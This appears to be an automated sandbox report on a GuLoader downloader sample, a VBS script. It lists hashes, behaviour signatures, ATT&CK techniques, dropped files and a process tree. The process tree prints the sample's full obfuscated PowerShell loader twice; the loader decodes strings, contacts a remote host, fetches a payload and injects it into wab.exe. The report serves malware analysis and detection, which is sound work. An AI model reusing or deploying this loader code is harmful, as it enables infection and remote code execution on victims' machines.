guloader | ad1e557063876aa8afed3b478864701d9f17e9a001985703e4df243fdf2f96ee

Analysis

max time kernel
147s
max time network
133s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
19/06/2024, 16:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ad1e557063876aa8afed3b478864701d9f17e9a001985703e4df243fdf2f96ee.vbs
Size 150KB
Sample240619-vhdynathra
SHA256 ad1e557063876aa8afed3b478864701d9f17e9a001985703e4df243fdf2f96ee
MD5 e888a348aad8b2b9222a349978cfde08
SHA1 98660af909e586666dd44540725597d077044417
SHA512 c2545158b3919fddd912580c89b3cd7999927caed68e8afb7bbc7e6da21eb95b10aedbbb9ca54660444463695a05f70d5981e220bb5a05ef4276a65cd7b5259f
SSDEEP 384:+D+qjN5gOeIWGyYsALuK21S8IQ4VuXoj45AdO9DjvmZlzJH50A4hBwkm80YmoC9Q:wjNWGTornPMIShItxAPFkpQtiEuuy
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader downloader

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2668	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
1796	wab.exe
1796	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1984	powershell.exe
1796	wab.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1984 set thread context of 1796	1984	powershell.exe	104
PID 1796 set thread context of 3376	1796	wab.exe	57

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4560	1796	WerFault.exe	104

Suspicious behavior: EnumeratesProcesses 21 IoCs

pid	Process
2668	powershell.exe
2668	powershell.exe
1984	powershell.exe
1984	powershell.exe
1984	powershell.exe
1796	wab.exe
1796	wab.exe
1796	wab.exe
1796	wab.exe
1796	wab.exe
1796	wab.exe
1796	wab.exe
1796	wab.exe
1796	wab.exe
1796	wab.exe
1796	wab.exe
1796	wab.exe
1796	wab.exe
1796	wab.exe
1796	wab.exe
1796	wab.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
1984	powershell.exe
1796	wab.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2668	powershell.exe
Token: SeDebugPrivilege	1984	powershell.exe
Token: SeShutdownPrivilege	3376	Explorer.EXE
Token: SeCreatePagefilePrivilege	3376	Explorer.EXE

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 384 wrote to memory of 2668	384	WScript.exe	88
PID 384 wrote to memory of 2668	384	WScript.exe	88
PID 2668 wrote to memory of 4896	2668	powershell.exe	90
PID 2668 wrote to memory of 4896	2668	powershell.exe	90
PID 2668 wrote to memory of 1984	2668	powershell.exe	100
PID 2668 wrote to memory of 1984	2668	powershell.exe	100
PID 2668 wrote to memory of 1984	2668	powershell.exe	100
PID 1984 wrote to memory of 4428	1984	powershell.exe	101
PID 1984 wrote to memory of 4428	1984	powershell.exe	101
PID 1984 wrote to memory of 4428	1984	powershell.exe	101
PID 1984 wrote to memory of 1796	1984	powershell.exe	104
PID 1984 wrote to memory of 1796	1984	powershell.exe	104
PID 1984 wrote to memory of 1796	1984	powershell.exe	104
PID 1984 wrote to memory of 1796	1984	powershell.exe	104
PID 1984 wrote to memory of 1796	1984	powershell.exe	104
PID 3376 wrote to memory of 2668	3376	Explorer.EXE	120
PID 3376 wrote to memory of 2668	3376	Explorer.EXE	120
PID 3376 wrote to memory of 2668	3376	Explorer.EXE	120

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3376
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ad1e557063876aa8afed3b478864701d9f17e9a001985703e4df243fdf2f96ee.vbs"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:384
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;$Outrocking = 1;$Discustom='ring';$Reattachment='S';Function Byraadet($Falankser){$Byfesten=$Falankser.Length-$Outrocking;$Machineries=$Reattachment+'ubst'+$Discustom;For( $Elsdyrskindet=5;$Elsdyrskindet -lt $Byfesten;$Elsdyrskindet+=6){$Bortfaldtes+=$Falankser.$Machineries.Invoke( $Elsdyrskindet, $Outrocking);}$Bortfaldtes;}function incontinuity($oscillancy){ & ($Arrigskabens) ($oscillancy);}$Unfeedable=Byraadet ',orefM En loBr.ndzRadiei efeclHellilMe lea Indl/ Pugg5Gritt.Stuf.0Feber Overw(M.mleWdisk,i.aadlnVimsedVellao Do,bwElevesMedan GremaNVaabeT,orta Slagg1Daywa0Madst.Cores0ekspo; ajan Sto,kWpsykoiDagesnYotac6Atomb4 Jv,f;Synch NglepxTruxi6Frakt4 Dann;Affal SoilrDemobv Pree:E.gwa1Semia2 ,une1Udsky.Unp.o0sl sk)toter KurvGAnalyeMan,ccDum.ekOrdreoH.and/ Meta2 Haut0Taks 1Senge0 Deci0Haser1di,it0scotc1Sybor UncanFB igai anlgrFrekveHkas fBusfooPy.omxDenar/ Rdni1Hyper2 selv1Grund.En,is0beckh ';$gowned=Byraadet 'SpaniUGal,asFremseKondirThera-LifetA xubegImagieCrocon Steat Bunt ';$Ilesite=Byraadet 'U,eblhUni,et.adget sychp Tigh: Skol/ Ri g/Jordp1Bankb9 Clav4Pol,r.Accre5 Tibi9sympa.Diapo3Oliet1,rack.koers1Sp,ke8O sen7Cir.u/Anal.OInkamu Su stNormagHyperu .eatnOdonts Sand. skytsBarwie T.utaPaksl ';$Psychophysiology=Byraadet 'Kompe> Cirr ';$Arrigskabens=Byraadet 'StrasiDandreF,sesxDeval ';$Flakset='Syltekrukken';$Universalizations86 = Byraadet 'TostaeBotancBer.shToadsolo,ho Anne %UforlaFrierpChildpUdd ndedd kaZan,itSeesaa Henr%Nat r\ DeceOUkollv utkeeRovetr UdsksReprotIcht.rPersoe .eppsSpeaks DistiExcl,nPredegS oma.FlidsHReansi venskAlarm Betr.&Knotw&nairo SolaneExuc.cProgrh sp io Nunu Midnat Teks ';incontinuity (Byraadet 'Reaum$Prec,g.raillFremloAnstrbLickealippel Di l:AnighISu,linAutorgmelanrResuseFashpd Styn=Weyho(Asce,cIncurm .mardUnder Konfi/Jocoschadin Konst$MaltgUPlen.nD glai Forbv ,lateHarewrCutchsMetapaTiltrl,idseiepidezSlag.asatantA nekiBaghoo CystnSyrins iali8,rodu6Hypok)H rre ');incontinuity (Byraadet 'Diver$Oekong UdbllPhantoOx.dabHa.dwainverlFunkt:miradZGwainiAf stms ulcmConv,eBenzirKorrew I,voa OutrlunthrdSniftiEggroa,insknAn.eb=Henve$ BallIOccu,l .riteSubdisCirc,iAsteitbowdleAfs,n.Spis s S.ocpEverilBasepiTetratCommi( rivo$FordrPTeha swind.ySkrd cSt,grhCacoxoSvedip englhLeucoyBiofysDermaiCoactoNlerhlBestioDe ilgTvivlyForec) Lori ');incontinuity (Byraadet 'Gourd[.onsyNSrgebePriort S da.T,espSTidsfeFireprGearevSaltii Talac.othee PromP HyreoBevidiSyndsnReduct upwaM.elleaKr mpnChastaFornygThreoeFallorCoqui]P.nin: Nets:ElemeSMar.leOpst,cDi.geu aeanrcentriCollat B.ghy Equ PSt,terdrib oAntistJimmioItzahcWhfufoWomenlSkole c,cl= Ges Overv[ShuttNWill,eGoldetRaspn.zinkoSTovreeFot gcTru.tu ,enir PbxuiIntertFolkeyPervaP Ba,krInconoBoligtEfteroindtecD.gteo llul ntimT FlinyLogoepSmmeneMo.ka]Tingp:k.oni:TransTJettilKlap,sLarme1Saute2 Ka a ');$Ilesite=$Zimmerwaldian[0];$lrredernes= (Byraadet 'irreg$MarsigLes ylDiv.roRewarb FrstaRepaclServa:CreakHGrundvStockeSpe ipt iplsSingle Im rtukrliaLuannl enasjSpiraeValorrOveran KoloeU,ransTitel=Taf rN VapoeTicklwFlo t- ItaiOShelfbOrd,ejPro.reUndevcIndskt ledd NontaS,jeney norhs DeputExciseergo,mFlyen.stenrN.ubere LandtIrrec.TandhWoverfeStoevb ErhvCT efalMde,aiUns,meSpelanPr,tet');$lrredernes+=$Ingred[1];incontinuity ($lrredernes);incontinuity (Byraadet 'Cloot$c lleHRaftiv.ngioeVesicpUnfrusUmttee Antatbdepra N delMennejBrilleHalv.rS eksnSejneeBrandsPreem. .opeHHsteneProtoaPurgedKrud,e onrerUdfolsEdon [Epide$NedgagVulvoo .debwFlak n Stude SolidAbso.]Retro=Stran$ ondeUPerfonSessifLandveProvseEthiodC,rcua ans,b Foral Furae epal ');$Kommunalretlige=Byraadet 'Lymph$.ecklH.nebrv Af,eeTreklpAbsorsLunk e StentEventaGuaialSophojFjerdeVrdierP lfinPuncte St,fsHul o.HorogD.veraoDosimwNoni,nReglel ildaoMacroa inendSkrivF,elapiPaddelSupere Es t( eeni$ Afm.INu.nilFadsee idifsMult iAlbigt TyveeL,che,Poloa$Be rba SkulrC.mpumStents.ucke) .ood ';$arms=$Ingred[0];incontinuity (Byraadet ' Grns$ RaingKommilanhugoZoos bFrivaaArcanlMaste: Ba,eHangora,iffivInsipnFortyeQui.ibAntifaprobasDokumsNonjuicluttnAntime nencrSalthsGazer=,nddr(VrinsT Byple.lwissElasttPinwe-A serPrain,aMaltot,ikeshSlabb Lage.$Le.daaTelexrLifenmGossisVagin)Laten ');while (!$Havnebassiners) {incontinuity (Byraadet ' Li,e$OxidegKnystlov rroKrydsbPrivaaArresl Catm: AkutH TranjNon.aeTilfamSpairm Tip eP.opafSeditrFinlayH,messBes yesideorThe,m=Bu,th$Flegmt PirrrHoej,uNatu,eTrans ') ;incontinuity $Kommunalretlige;incontinuity (Byraadet ',ygueSRon,et.roilaWoodmrGadekt Forp-ThirtSFraselCordie Farle Smagp S,ci Grav4Bands ');incontinuity (Byraadet 'ne ja$Klassg UlrilLateroAutocbV.ndra ForslFr,ga:PrewoH BoltaPhysivBaneln .esoe OutfbSp.ktaUdmalsLockosPreexi ouzlnGelateKlebirBordvs Rail=L.tte(,lectTStrmke AlkasVintet Mhed-NaestPOkkeraBesvrtMy emh Sk r Grsr.$Madisa Mnstrskrtem HundsSkyld)Lu.tk ') ;incontinuity (Byraadet 'St,eg$Udbrig.riaslani.ao S.yrb Prota IndblSkrig:H,elpAR gramEs,hebMorteaRadbrsDemansenerga RadidT lmeeAcar.rChloraDemysaEnchadStoreePr,cenFilte=.orbe$Mac,ogorchilamp ioTarmab,edhfaSucculPraen: BilkC.terehRounde okamm,ereioFortrt Cem.aCruencGuilltF esciBundscOvers+Unwei+ Ente%Su er$GunstZextraiNaebomSwashmSubgeeNo.dirZida,wHulsmaEquiplSpilddAdolpiPrefraStormnBru,e.Dei icindiaoIntrouDeclan BesvtBevil ') ;$Ilesite=$Zimmerwaldian[$Ambassaderaaden];}$vauntie=301580;$Broklaps=28412;incontinuity (Byraadet ' rea$SamvrgnagaflHngeloM llebGhasta.etnglTiger:PrevePBgetprPedicoForrip,tyloumar,agUmlaun cykla ddebc AesclUnthieSinitdSkatt Sitdo=Parad ArmlnGMeriae TeletBrus -NonacCSkyggoMillinB.nzotefte eDigitnplasttC ise udest$Formaaunr trLoersmKontrsForte ');incontinuity (Byraadet ' Psyc$S,ejlgKurs lVemodo hagrb.rogracholelTrefl:VarieTAcornhKloaky Skolr RespoSubfoeLogospRke jiS.anhgTiltrlWe.esoIntertVandatUruguiR,ngodUbevgefuldbaNe,renoxyha skamf= Flag Lovor[ HezeS PricyDybvasTriqut Retse S.avmFldek.Da,neCIncepoSupernJgvanv AiraePrederSt.titCir,u]Chazz: inam: OrieFNglehr FouroFanatmBejewBCantea Afmes,agazeUpspr6Reane4PolitSD llet I surIndokiHalvdn Mun gTiltr(.kaft$Sta uPMasterOileroDatafpbaubluDo,hig,kobrnS,ejlapalabcGenkol Svame HypodSki.t)Stuef ');incontinuity (Byraadet 'Bland$ FenugAktivl rmieoAdulabMedfaadaggelurfol:.aabeAPhysipTrotstMukhtyBokseaUnd vl FlhoiA dejsBe,memFor.r Fiske=Forpu Preci[PedicSPi fiyCrabesCirc.tUnfaie .ndemQuern.genf TCycloeAcce,xElbiltTomru.NonvoE BrlenDvr kc AfhjoNonsedBaandiPlat.nPranggPamfl]Lnudv:Easyg:LinguA A rtSStum.CSalveI EngrIPants.bu kaGNoncieMaryatFa apSAnap,tBlegnrJae.niHexafnBa.kigSemir(Va,re$TriraT.alvdhUnderyK.tinrkisseoPercoeRegnspDatopiRespigHumanl onpro,ilnut Unvet Myr.iHighldKnackePla eaTelefn Spec)Separ ');incontinuity (Byraadet 'Ho ed$TrepagGalenl MageoSiddhb incoaWyke.lRgels:Bron B O,tuiHimmelParasl FileeSiderdBygdemHensoeU,cordTypoli Ca.cuB,emsmMajin= Line$ Qui,A HentpGenettSammeyOscilaudhullDeporiToot,sSkrfnmHardh.IsozysGast.uChas,bBedres.ifletVgtskr NonqiTotaln ynclgStran( Sinf$ Va,dvBelusa tvi uMainlnlinolt BahmiSo ate in,h,,rovi$MunitB EnkerUnthro sit kUdt yl Threa CitypSainfs Pri,)Marga ');incontinuity $Billedmedium;"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2668
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Overstressing.Hik && echo t"
      4⤵
      PID:4896
  - - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;$Outrocking = 1;$Discustom='ring';$Reattachment='S';Function Byraadet($Falankser){$Byfesten=$Falankser.Length-$Outrocking;$Machineries=$Reattachment+'ubst'+$Discustom;For( $Elsdyrskindet=5;$Elsdyrskindet -lt $Byfesten;$Elsdyrskindet+=6){$Bortfaldtes+=$Falankser.$Machineries.Invoke( $Elsdyrskindet, $Outrocking);}$Bortfaldtes;}function incontinuity($oscillancy){ & ($Arrigskabens) ($oscillancy);}$Unfeedable=Byraadet ',orefM En loBr.ndzRadiei efeclHellilMe lea Indl/ Pugg5Gritt.Stuf.0Feber Overw(M.mleWdisk,i.aadlnVimsedVellao Do,bwElevesMedan GremaNVaabeT,orta Slagg1Daywa0Madst.Cores0ekspo; ajan Sto,kWpsykoiDagesnYotac6Atomb4 Jv,f;Synch NglepxTruxi6Frakt4 Dann;Affal SoilrDemobv Pree:E.gwa1Semia2 ,une1Udsky.Unp.o0sl sk)toter KurvGAnalyeMan,ccDum.ekOrdreoH.and/ Meta2 Haut0Taks 1Senge0 Deci0Haser1di,it0scotc1Sybor UncanFB igai anlgrFrekveHkas fBusfooPy.omxDenar/ Rdni1Hyper2 selv1Grund.En,is0beckh ';$gowned=Byraadet 'SpaniUGal,asFremseKondirThera-LifetA xubegImagieCrocon Steat Bunt ';$Ilesite=Byraadet 'U,eblhUni,et.adget sychp Tigh: Skol/ Ri g/Jordp1Bankb9 Clav4Pol,r.Accre5 Tibi9sympa.Diapo3Oliet1,rack.koers1Sp,ke8O sen7Cir.u/Anal.OInkamu Su stNormagHyperu .eatnOdonts Sand. skytsBarwie T.utaPaksl ';$Psychophysiology=Byraadet 'Kompe> Cirr ';$Arrigskabens=Byraadet 'StrasiDandreF,sesxDeval ';$Flakset='Syltekrukken';$Universalizations86 = Byraadet 'TostaeBotancBer.shToadsolo,ho Anne %UforlaFrierpChildpUdd ndedd kaZan,itSeesaa Henr%Nat r\ DeceOUkollv utkeeRovetr UdsksReprotIcht.rPersoe .eppsSpeaks DistiExcl,nPredegS oma.FlidsHReansi venskAlarm Betr.&Knotw&nairo SolaneExuc.cProgrh sp io Nunu Midnat Teks ';incontinuity (Byraadet 'Reaum$Prec,g.raillFremloAnstrbLickealippel Di l:AnighISu,linAutorgmelanrResuseFashpd Styn=Weyho(Asce,cIncurm .mardUnder Konfi/Jocoschadin Konst$MaltgUPlen.nD glai Forbv ,lateHarewrCutchsMetapaTiltrl,idseiepidezSlag.asatantA nekiBaghoo CystnSyrins iali8,rodu6Hypok)H rre ');incontinuity (Byraadet 'Diver$Oekong UdbllPhantoOx.dabHa.dwainverlFunkt:miradZGwainiAf stms ulcmConv,eBenzirKorrew I,voa OutrlunthrdSniftiEggroa,insknAn.eb=Henve$ BallIOccu,l .riteSubdisCirc,iAsteitbowdleAfs,n.Spis s S.ocpEverilBasepiTetratCommi( rivo$FordrPTeha swind.ySkrd cSt,grhCacoxoSvedip englhLeucoyBiofysDermaiCoactoNlerhlBestioDe ilgTvivlyForec) Lori ');incontinuity (Byraadet 'Gourd[.onsyNSrgebePriort S da.T,espSTidsfeFireprGearevSaltii Talac.othee PromP HyreoBevidiSyndsnReduct upwaM.elleaKr mpnChastaFornygThreoeFallorCoqui]P.nin: Nets:ElemeSMar.leOpst,cDi.geu aeanrcentriCollat B.ghy Equ PSt,terdrib oAntistJimmioItzahcWhfufoWomenlSkole c,cl= Ges Overv[ShuttNWill,eGoldetRaspn.zinkoSTovreeFot gcTru.tu ,enir PbxuiIntertFolkeyPervaP Ba,krInconoBoligtEfteroindtecD.gteo llul ntimT FlinyLogoepSmmeneMo.ka]Tingp:k.oni:TransTJettilKlap,sLarme1Saute2 Ka a ');$Ilesite=$Zimmerwaldian[0];$lrredernes= (Byraadet 'irreg$MarsigLes ylDiv.roRewarb FrstaRepaclServa:CreakHGrundvStockeSpe ipt iplsSingle Im rtukrliaLuannl enasjSpiraeValorrOveran KoloeU,ransTitel=Taf rN VapoeTicklwFlo t- ItaiOShelfbOrd,ejPro.reUndevcIndskt ledd NontaS,jeney norhs DeputExciseergo,mFlyen.stenrN.ubere LandtIrrec.TandhWoverfeStoevb ErhvCT efalMde,aiUns,meSpelanPr,tet');$lrredernes+=$Ingred[1];incontinuity ($lrredernes);incontinuity (Byraadet 'Cloot$c lleHRaftiv.ngioeVesicpUnfrusUmttee Antatbdepra N delMennejBrilleHalv.rS eksnSejneeBrandsPreem. .opeHHsteneProtoaPurgedKrud,e onrerUdfolsEdon [Epide$NedgagVulvoo .debwFlak n Stude SolidAbso.]Retro=Stran$ ondeUPerfonSessifLandveProvseEthiodC,rcua ans,b Foral Furae epal ');$Kommunalretlige=Byraadet 'Lymph$.ecklH.nebrv Af,eeTreklpAbsorsLunk e StentEventaGuaialSophojFjerdeVrdierP lfinPuncte St,fsHul o.HorogD.veraoDosimwNoni,nReglel ildaoMacroa inendSkrivF,elapiPaddelSupere Es t( eeni$ Afm.INu.nilFadsee idifsMult iAlbigt TyveeL,che,Poloa$Be rba SkulrC.mpumStents.ucke) .ood ';$arms=$Ingred[0];incontinuity (Byraadet ' Grns$ RaingKommilanhugoZoos bFrivaaArcanlMaste: Ba,eHangora,iffivInsipnFortyeQui.ibAntifaprobasDokumsNonjuicluttnAntime nencrSalthsGazer=,nddr(VrinsT Byple.lwissElasttPinwe-A serPrain,aMaltot,ikeshSlabb Lage.$Le.daaTelexrLifenmGossisVagin)Laten ');while (!$Havnebassiners) {incontinuity (Byraadet ' Li,e$OxidegKnystlov rroKrydsbPrivaaArresl Catm: AkutH TranjNon.aeTilfamSpairm Tip eP.opafSeditrFinlayH,messBes yesideorThe,m=Bu,th$Flegmt PirrrHoej,uNatu,eTrans ') ;incontinuity $Kommunalretlige;incontinuity (Byraadet ',ygueSRon,et.roilaWoodmrGadekt Forp-ThirtSFraselCordie Farle Smagp S,ci Grav4Bands ');incontinuity (Byraadet 'ne ja$Klassg UlrilLateroAutocbV.ndra ForslFr,ga:PrewoH BoltaPhysivBaneln .esoe OutfbSp.ktaUdmalsLockosPreexi ouzlnGelateKlebirBordvs Rail=L.tte(,lectTStrmke AlkasVintet Mhed-NaestPOkkeraBesvrtMy emh Sk r Grsr.$Madisa Mnstrskrtem HundsSkyld)Lu.tk ') ;incontinuity (Byraadet 'St,eg$Udbrig.riaslani.ao S.yrb Prota IndblSkrig:H,elpAR gramEs,hebMorteaRadbrsDemansenerga RadidT lmeeAcar.rChloraDemysaEnchadStoreePr,cenFilte=.orbe$Mac,ogorchilamp ioTarmab,edhfaSucculPraen: BilkC.terehRounde okamm,ereioFortrt Cem.aCruencGuilltF esciBundscOvers+Unwei+ Ente%Su er$GunstZextraiNaebomSwashmSubgeeNo.dirZida,wHulsmaEquiplSpilddAdolpiPrefraStormnBru,e.Dei icindiaoIntrouDeclan BesvtBevil ') ;$Ilesite=$Zimmerwaldian[$Ambassaderaaden];}$vauntie=301580;$Broklaps=28412;incontinuity (Byraadet ' rea$SamvrgnagaflHngeloM llebGhasta.etnglTiger:PrevePBgetprPedicoForrip,tyloumar,agUmlaun cykla ddebc AesclUnthieSinitdSkatt Sitdo=Parad ArmlnGMeriae TeletBrus -NonacCSkyggoMillinB.nzotefte eDigitnplasttC ise udest$Formaaunr trLoersmKontrsForte ');incontinuity (Byraadet ' Psyc$S,ejlgKurs lVemodo hagrb.rogracholelTrefl:VarieTAcornhKloaky Skolr RespoSubfoeLogospRke jiS.anhgTiltrlWe.esoIntertVandatUruguiR,ngodUbevgefuldbaNe,renoxyha skamf= Flag Lovor[ HezeS PricyDybvasTriqut Retse S.avmFldek.Da,neCIncepoSupernJgvanv AiraePrederSt.titCir,u]Chazz: inam: OrieFNglehr FouroFanatmBejewBCantea Afmes,agazeUpspr6Reane4PolitSD llet I surIndokiHalvdn Mun gTiltr(.kaft$Sta uPMasterOileroDatafpbaubluDo,hig,kobrnS,ejlapalabcGenkol Svame HypodSki.t)Stuef ');incontinuity (Byraadet 'Bland$ FenugAktivl rmieoAdulabMedfaadaggelurfol:.aabeAPhysipTrotstMukhtyBokseaUnd vl FlhoiA dejsBe,memFor.r Fiske=Forpu Preci[PedicSPi fiyCrabesCirc.tUnfaie .ndemQuern.genf TCycloeAcce,xElbiltTomru.NonvoE BrlenDvr kc AfhjoNonsedBaandiPlat.nPranggPamfl]Lnudv:Easyg:LinguA A rtSStum.CSalveI EngrIPants.bu kaGNoncieMaryatFa apSAnap,tBlegnrJae.niHexafnBa.kigSemir(Va,re$TriraT.alvdhUnderyK.tinrkisseoPercoeRegnspDatopiRespigHumanl onpro,ilnut Unvet Myr.iHighldKnackePla eaTelefn Spec)Separ ');incontinuity (Byraadet 'Ho ed$TrepagGalenl MageoSiddhb incoaWyke.lRgels:Bron B O,tuiHimmelParasl FileeSiderdBygdemHensoeU,cordTypoli Ca.cuB,emsmMajin= Line$ Qui,A HentpGenettSammeyOscilaudhullDeporiToot,sSkrfnmHardh.IsozysGast.uChas,bBedres.ifletVgtskr NonqiTotaln ynclgStran( Sinf$ Va,dvBelusa tvi uMainlnlinolt BahmiSo ate in,h,,rovi$MunitB EnkerUnthro sit kUdt yl Threa CitypSainfs Pri,)Marga ');incontinuity $Billedmedium;"
      4⤵
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1984
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Overstressing.Hik && echo t"
        5⤵
        
        PID:4428
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe"
        5⤵
        Suspicious use of NtCreateThreadExHideFromDebugger
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:1796
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1796 -s 1524
        6⤵
        Program crash
        
        PID:4560
- C:\Windows\SysWOW64\clip.exe
  "C:\Windows\SysWOW64\clip.exe"
  2⤵
  PID:2668

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 1796 -ip 1796
1⤵
PID:1280

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_s3qqqnoo.nn4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s3qqqnoo.nn4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

Overstressing.Hik

Path C:\Users\Admin\AppData\Roaming\Overstressing.Hik
Size 429KB
SHA256 82744eb53c8774c4fa053406eaf827f0ef3680c9b7a86fb059ea9f609e9ab6e8
MD5 f76ec8106bec202535c6b50279413ef2
SHA1 e2994e1d9831ef8372dca573beed5351ae4aa97f
SHA512 75f79c2beff74c7abf8276181a21863413c93bdd41139b1bf4c1a3d0cf4e6cc8064a61973bb10558d49eba7774e5d2d95e50739c18a8a599e23f97bb8e848792
SSDEEP 12288:jWpDdtA1wHykEd3I2FAZBencQlqmNYBXn0F:jkDo6E1I2FlXCBX0F
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1796-57-0x0000000000EC0000-0x0000000005059000-memory.dmp

Download

memory/1796-49-0x0000000000EC0000-0x0000000005059000-memory.dmp

Download

memory/1796-48-0x0000000000400000-0x00000000005E4000-memory.dmp

Download

memory/1984-16-0x0000000005080000-0x00000000056A8000-memory.dmp

Download

memory/1984-35-0x00000000070E0000-0x0000000007102000-memory.dmp

Download

memory/1984-17-0x0000000005030000-0x0000000005052000-memory.dmp

Download

memory/1984-18-0x0000000005820000-0x0000000005886000-memory.dmp

Download

memory/1984-19-0x0000000005890000-0x00000000058F6000-memory.dmp

Download

memory/1984-29-0x0000000005900000-0x0000000005C54000-memory.dmp

Download

memory/1984-30-0x0000000005ED0000-0x0000000005EEE000-memory.dmp

Download

memory/1984-31-0x0000000005F00000-0x0000000005F4C000-memory.dmp

Download

memory/1984-32-0x0000000007870000-0x0000000007EEA000-memory.dmp

Download

memory/1984-33-0x0000000006480000-0x000000000649A000-memory.dmp

Download

memory/1984-34-0x00000000071F0000-0x0000000007286000-memory.dmp

Download

memory/1984-38-0x00000000084A0000-0x000000000C639000-memory.dmp

Download

memory/1984-36-0x0000000007EF0000-0x0000000008494000-memory.dmp

Download

memory/1984-15-0x00000000025A0000-0x00000000025D6000-memory.dmp

Download

memory/2668-0-0x00007FFBA4EC3000-0x00007FFBA4EC5000-memory.dmp

Download

memory/2668-39-0x00007FFBA4EC3000-0x00007FFBA4EC5000-memory.dmp

Download

memory/2668-40-0x00007FFBA4EC0000-0x00007FFBA5981000-memory.dmp

Download

memory/2668-12-0x00007FFBA4EC0000-0x00007FFBA5981000-memory.dmp

Download

memory/2668-11-0x00007FFBA4EC0000-0x00007FFBA5981000-memory.dmp

Download

memory/2668-52-0x00007FFBA4EC0000-0x00007FFBA5981000-memory.dmp

Download

memory/2668-10-0x000002692EF70000-0x000002692EF92000-memory.dmp

Download